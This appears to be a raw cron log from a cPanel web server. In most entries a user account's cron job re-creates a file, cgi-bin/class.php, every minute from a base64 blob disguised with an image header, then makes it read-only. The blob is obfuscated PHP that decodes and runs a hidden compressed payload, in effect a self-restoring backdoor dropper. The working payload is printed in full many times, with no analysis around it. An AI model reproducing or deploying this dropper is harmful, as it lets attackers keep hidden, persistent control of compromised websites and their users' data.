Nov 10 08:31:01 server CROND[9868]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:32:01 server CROND[10686]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:33:01 server CROND[11651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:34:01 server CROND[12481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:35:01 server CROND[13297]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 08:35:01 server CROND[13303]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:35:01 server CROND[13307]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 08:35:01 server CROND[13306]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 08:35:01 server CROND[13304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 08:36:01 server CROND[14160]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:37:01 server CROND[14970]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:38:01 server CROND[16066]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:39:01 server CROND[16612]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 08:39:01 server CROND[16613]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:40:01 server CROND[17428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 08:40:01 server CROND[17430]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 08:40:01 server CROND[17429]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:40:01 server CROND[17431]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 08:41:01 server CROND[18339]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:42:01 server CROND[19158]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:42:01 server CROND[19159]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 08:43:01 server CROND[20021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
